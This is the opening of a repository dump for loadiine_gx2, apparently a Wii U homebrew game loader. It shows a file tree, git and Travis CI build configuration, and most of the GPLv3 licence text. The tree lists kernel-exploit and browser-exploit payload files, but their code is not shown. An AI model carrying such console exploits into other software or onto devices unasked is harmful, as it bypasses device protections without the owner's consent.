Repository: dimok789/loadiine_gx2 Branch: master Commit: 2ae7fe4feaad Files: 282 Total size: 1.9 MB Directory structure: gitextract_pe69zl1c/ ├── .gitignore ├── .gitmodules ├── .travis.yml ├── LICENSE ├── Makefile ├── Readme.md ├── data/ │ └── sounds/ │ ├── bgMusic.ogg │ └── credits_music.ogg ├── filelist.sh ├── gitrev.sh ├── installer/ │ ├── Makefile │ ├── coreinit.h │ ├── crt0.S │ ├── elf_abi.h │ ├── kernel_patches.S │ ├── kexploit.c │ ├── kexploit.h │ ├── launcher.c │ ├── logger.c │ ├── logger.h │ ├── socket.h │ ├── structs.h │ └── types.h ├── languages/ │ ├── chinese.lang │ ├── chinese_tr.lang │ ├── english.lang │ ├── french.lang │ ├── german.lang │ ├── hungarian.lang │ ├── italian.lang │ ├── japanese.lang │ ├── pt_BR.lang │ ├── pt_PT.lang │ └── spanish.lang ├── meta/ │ └── meta.xml ├── other/ │ ├── devkitPPCupdatePPCr29.pl │ └── devkitProUpdatePPCr29.ini ├── sd_loader/ │ ├── Makefile │ └── src/ │ ├── elf_abi.h │ ├── entry.c │ ├── kernel_hooks.S │ └── link.ld ├── server/ │ └── src/ │ ├── Program.cs │ ├── Properties/ │ │ └── AssemblyInfo.cs │ ├── System/ │ │ └── IO/ │ │ ├── EndianBinaryReader.cs │ │ └── EndianBinaryWriter.cs │ ├── app.config │ ├── bin/ │ │ └── Debug/ │ │ ├── loadiine_server.exe.config │ │ ├── loadiine_server.pdb │ │ ├── loadiine_server.vshost.exe.config │ │ └── loadiine_server.vshost.exe.manifest │ ├── loadiine_server.csproj │ ├── loadiine_server.sln │ ├── loadiine_server.suo │ └── obj/ │ └── x86/ │ └── Debug/ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ ├── ResolveAssemblyReference.cache │ ├── cafiine_server.csproj.FileListAbsolute.txt │ ├── loadiine_server.csproj.FileListAbsolute.txt │ └── loadiine_server.pdb ├── src/ │ ├── Application.cpp │ ├── Application.h │ ├── common/ │ │ ├── common.h │ │ ├── kernel_defs.h │ │ ├── loader_defs.h │ │ ├── os_defs.h │ │ ├── retain_vars.c │ │ ├── retain_vars.h │ │ └── types.h │ ├── entry.cpp │ ├── fs/ │ │ ├── CFile.cpp │ │ ├── CFile.hpp │ │ ├── DirList.cpp │ │ ├── DirList.h │ │ ├── fs_utils.c │ │ ├── fs_utils.h │ │ ├── sd_fat_devoptab.c │ │ └── sd_fat_devoptab.h │ ├── game/ │ │ ├── GameLauncher.cpp │ │ ├── GameLauncher.h │ │ ├── GameList.cpp │ │ ├── GameList.h │ │ ├── memory_area_table.c │ │ ├── memory_area_table.h │ │ ├── rpx_rpl_table.c │ │ └── rpx_rpl_table.h │ ├── gitrev.h │ ├── gui/ │ │ ├── FreeTypeGX.cpp │ │ ├── FreeTypeGX.h │ │ ├── GameBgImage.cpp │ │ ├── GameBgImage.h │ │ ├── GameIcon.cpp │ │ ├── GameIcon.h │ │ ├── GameIconModel.h │ │ ├── GridBackground.cpp │ │ ├── GridBackground.h │ │ ├── Gui.h │ │ ├── GuiButton.cpp │ │ ├── GuiButton.h │ │ ├── GuiCheckBox.cpp │ │ ├── GuiCheckBox.h │ │ ├── GuiConfigurationScreen.h │ │ ├── GuiController.h │ │ ├── GuiDragListener.cpp │ │ ├── GuiDragListener.h │ │ ├── GuiElement.cpp │ │ ├── GuiElement.h │ │ ├── GuiFrame.cpp │ │ ├── GuiFrame.h │ │ ├── GuiGameBrowser.h │ │ ├── GuiGameCarousel.cpp │ │ ├── GuiGameCarousel.h │ │ ├── GuiIconCarousel.cpp │ │ ├── GuiIconCarousel.h │ │ ├── GuiIconGrid.cpp │ │ ├── GuiIconGrid.h │ │ ├── GuiImage.cpp │ │ ├── GuiImage.h │ │ ├── GuiImageAsync.cpp │ │ ├── GuiImageAsync.h │ │ ├── GuiImageData.cpp │ │ ├── GuiImageData.h │ │ ├── GuiParticleImage.cpp │ │ ├── GuiParticleImage.h │ │ ├── GuiSelectBox.cpp │ │ ├── GuiSelectBox.h │ │ ├── GuiSound.cpp │ │ ├── GuiSound.h │ │ ├── GuiSwitch.cpp │ │ ├── GuiSwitch.h │ │ ├── GuiText.cpp │ │ ├── GuiText.h │ │ ├── GuiToggle.cpp │ │ ├── GuiToggle.h │ │ ├── GuiTrigger.cpp │ │ ├── GuiTrigger.h │ │ ├── Scrollbar.cpp │ │ ├── Scrollbar.h │ │ ├── VPadController.h │ │ ├── WPadController.h │ │ └── sigslot.h │ ├── kernel/ │ │ ├── kernel_functions.c │ │ ├── kernel_functions.h │ │ ├── kernel_hooks.S │ │ ├── syscalls.c │ │ ├── syscalls.h │ │ └── syscalls_asm.S │ ├── language/ │ │ ├── gettext.cpp │ │ └── gettext.h │ ├── link.ld │ ├── main.cpp │ ├── main.h │ ├── menu/ │ │ ├── ButtonChoiceMenu.cpp │ │ ├── ButtonChoiceMenu.h │ │ ├── CreditsMenu.cpp │ │ ├── CreditsMenu.h │ │ ├── GameLauncherMenu.cpp │ │ ├── GameLauncherMenu.h │ │ ├── KeyPadMenu.cpp │ │ ├── KeyPadMenu.h │ │ ├── MainDrcButtonsFrame.h │ │ ├── MainWindow.cpp │ │ ├── MainWindow.h │ │ ├── ProgressWindow.cpp │ │ ├── ProgressWindow.h │ │ ├── SettingsCategoryMenu.cpp │ │ ├── SettingsCategoryMenu.h │ │ ├── SettingsMenu.cpp │ │ └── SettingsMenu.h │ ├── network/ │ │ ├── FileDownloader.cpp │ │ ├── FileDownloader.h │ │ ├── GameImageDownloader.cpp │ │ └── GameImageDownloader.h │ ├── patcher/ │ │ ├── aoc_patcher.cpp │ │ ├── aoc_patcher.h │ │ ├── cpp_to_c_util.cpp │ │ ├── cpp_to_c_util.h │ │ ├── extra_log_patcher.cpp │ │ ├── extra_log_patcher.h │ │ ├── fs_logger.c │ │ ├── fs_logger.h │ │ ├── fs_patcher.cpp │ │ ├── fs_patcher.h │ │ ├── fs_sd_patcher.cpp │ │ ├── fs_sd_patcher.h │ │ ├── hid_controller_function_patcher.cpp │ │ ├── hid_controller_function_patcher.h │ │ ├── patcher_util.cpp │ │ ├── patcher_util.h │ │ ├── pygecko.c │ │ ├── pygecko.h │ │ ├── rplrpx_patcher.cpp │ │ └── rplrpx_patcher.h │ ├── resources/ │ │ ├── Resources.cpp │ │ ├── Resources.h │ │ └── filelist.h │ ├── settings/ │ │ ├── CSettings.cpp │ │ ├── CSettings.h │ │ ├── CSettingsGame.cpp │ │ ├── CSettingsGame.h │ │ ├── SettingsDefs.h │ │ ├── SettingsEnums.h │ │ └── SettingsGameDefs.h │ ├── sounds/ │ │ ├── BufferCircle.cpp │ │ ├── BufferCircle.hpp │ │ ├── Mp3Decoder.cpp │ │ ├── Mp3Decoder.hpp │ │ ├── OggDecoder.cpp │ │ ├── OggDecoder.hpp │ │ ├── SoundDecoder.cpp │ │ ├── SoundDecoder.hpp │ │ ├── SoundHandler.cpp │ │ ├── SoundHandler.hpp │ │ ├── Voice.h │ │ ├── WavDecoder.cpp │ │ └── WavDecoder.hpp │ ├── system/ │ │ ├── AsyncDeleter.cpp │ │ ├── AsyncDeleter.h │ │ ├── CMutex.h │ │ ├── CThread.h │ │ ├── exception_handler.c │ │ ├── exception_handler.h │ │ ├── memory.c │ │ └── memory.h │ ├── utils/ │ │ ├── Directory.cpp │ │ ├── Directory.h │ │ ├── FileReplacer.cpp │ │ ├── FileReplacer.h │ │ ├── StringTools.cpp │ │ ├── StringTools.h │ │ ├── function_patcher.cpp │ │ ├── function_patcher.h │ │ ├── logger.c │ │ ├── logger.h │ │ ├── strings.c │ │ ├── strings.h │ │ ├── utils.c │ │ ├── utils.h │ │ ├── xml.c │ │ └── xml.h │ └── video/ │ ├── CVideo.cpp │ ├── CVideo.h │ ├── CursorDrawer.cpp │ ├── CursorDrawer.h │ └── shaders/ │ ├── ColorShader.cpp │ ├── ColorShader.h │ ├── FXAAShader.cpp │ ├── FXAAShader.h │ ├── FetchShader.h │ ├── PixelShader.h │ ├── Shader.h │ ├── Shader3D.cpp │ ├── Shader3D.h │ ├── ShaderFractalColor.cpp │ ├── ShaderFractalColor.h │ ├── Texture2DShader.cpp │ ├── Texture2DShader.h │ └── VertexShader.h ├── udp_debug_reader/ │ ├── Makefile │ ├── UdpDebugReader │ ├── UdpDebugReader.cbp │ ├── UdpDebugReader.depend │ ├── UdpDebugReader.layout │ ├── doxygen/ │ │ └── doxyfile │ └── source/ │ ├── Input.c │ ├── Input.h │ ├── main.c │ ├── network.c │ ├── network.h │ └── winsock/ │ ├── libwsock32.a │ └── winsock.h ├── updatelang.sh └── www/ └── loadiine_gx2/ ├── frame.html ├── index.html ├── payload.php ├── payload400.html ├── payload410.html ├── payload500.html ├── payload532.html ├── wiiu_browserhax_common.php ├── wiiuhaxx_common_cfg.php ├── wiiuhaxx_rop_sysver_532.php └── wiiuhaxx_rop_sysver_550.php ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ /fs/build /installer/bin /loader/build /menu/build /server/logs/*.txt /build /*.elf /fs/*.elf /loader/*.elf /sd_loader/build /sd_loader/*.elf /udp_debug_reader/obj /udp_debug_reader/GeckoLog.txt /installer/sd_loader.h /languages/*.pot /src/gitrev.c ================================================ FILE: .gitmodules ================================================ [submodule "src/controller_patcher"] path = src/controller_patcher url = https://github.com/Maschell/controller_patcher [submodule "src/dynamic_libs"] path = src/dynamic_libs url = https://github.com/Maschell/dynamic_libs ================================================ FILE: .travis.yml ================================================ language: c sudo: false branches: except: - /^*-v[0-9]/ - /^build-[0-9a-z\-]*/ notifications: email: false cache: apt: true directories: - "/home/travis/devkitPro" before_cache: - rm -rf $DEVKITPRO/*.7z - rm -rf $DEVKITPRO/*.bz2 - rm -rf $DEVKITPRO/examples addons: apt: packages: - p7zip-full - zip before_install: - export DEVKITPRO=/home/travis/devkitPro - export DEVKITPPC=${DEVKITPRO}/devkitPPC - mkdir -p $DEVKITPRO - cd $DEVKITPRO - wget -N https://raw.githubusercontent.com/dimok789/loadiine_gx2/master/other/devkitPPCupdatePPCr29.pl - wget -N https://raw.githubusercontent.com/dimok789/loadiine_gx2/master/other/libogc.7z - wget -N https://raw.githubusercontent.com/dimok789/loadiine_gx2/master/other/portlibs.7z install: - cd $DEVKITPRO - perl devkitPPCupdatePPCr29.pl - 7z x -y libogc.7z - 7z x -y portlibs.7z - cp -R portlibs/ppc/* devkitPPC/ before_script: - cd $TRAVIS_BUILD_DIR/ script: - make - cd $TRAVIS_BUILD_DIR/installer - make before_deploy: - cd $TRAVIS_BUILD_DIR/ - cp -R installer/bin/*.bin www/loadiine_gx2/ - cp meta/meta.xml meta/icon.png . - commit="$(git rev-parse --short=7 HEAD)" - zip -r loadiine_gx2_$commit.zip www loadiine_gx2.elf meta.xml icon.png - git config --global user.email "builds@travis-ci.com" - git config --global user.name "Travis CI" - export GIT_TAG=Loadiine-nightly-$commit - git tag $GIT_TAG -a -m "Loadiine_gx2 nightly build. Not a stable release. Expect bugs!" - git push --quiet https://$GITHUBKEY@github.com/dimok789/loadiine_gx2 $GIT_TAG > /dev/null 2>&1 deploy: provider: releases skip_cleanup: true prerelease: true api_key: secure: R7WrOSmjYSD3DfUyUkklxSheD7MU/np6MycSJ11B1CZ054FUz+xMY5WlvM7mjoq8YDYSznKtRmoFEmc1ZQW/hFNZORPjTvLDOeO/8KWP+RmFS2VKFgpEYn6oBFnFWfzRcLelLcYIuJoCgqEB0NcUSXR1NNvpp4KIszdoO8bJlJekNcwnnUCjeYSRT0JcP5RFqCZoVex6YREgmJfe3mJ0/B8gFgHkwQeQpIS7WVDfC6EgEL5bXLCZuVwGQzyqG6rTvkxVVG/vXeKvFOKZJQbY78l09KlU31WU7Kql6mMwuq7cUXkDwczt2iO/cxAaUQnJ4KDmWCDuiJugCXyFMnAyOdAJvGu5WvN2S4aGzxmxqopKoW0wAHf1L+Juv9z36FrYlmT3iYS1KBzM6jVjj2+Bev9xPJuEpRFgvKJI0JlyqX9bXnhF4rOnIaNUEn41EkRGPcYDS4cGsVqNL+CsuND0YGmRw4hOo3E69Oex1WEBMwZNohb8CfVBNXY9I3i6qe4rJ0LJsfsYykK5j1Hc9ZWJpLZQNZHr3gOS3alFq3A4Jwad0yynxkbGML6TUxYcz0TRqoKE1FMrpL2UgyZhG2I3ugH9q3GPF/50CCBEsuVvCwgar9Y0Yw4q/MQwmgX7gg8jaeydS/pAoFcf1MMews57+cL9qiEGKiIL3glp55eNP4Y= file: loadiine_gx2_$commit.zip on: repo: dimok789/loadiine_gx2 tags: false all_branches: true ================================================ FILE: LICENSE ================================================ GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE 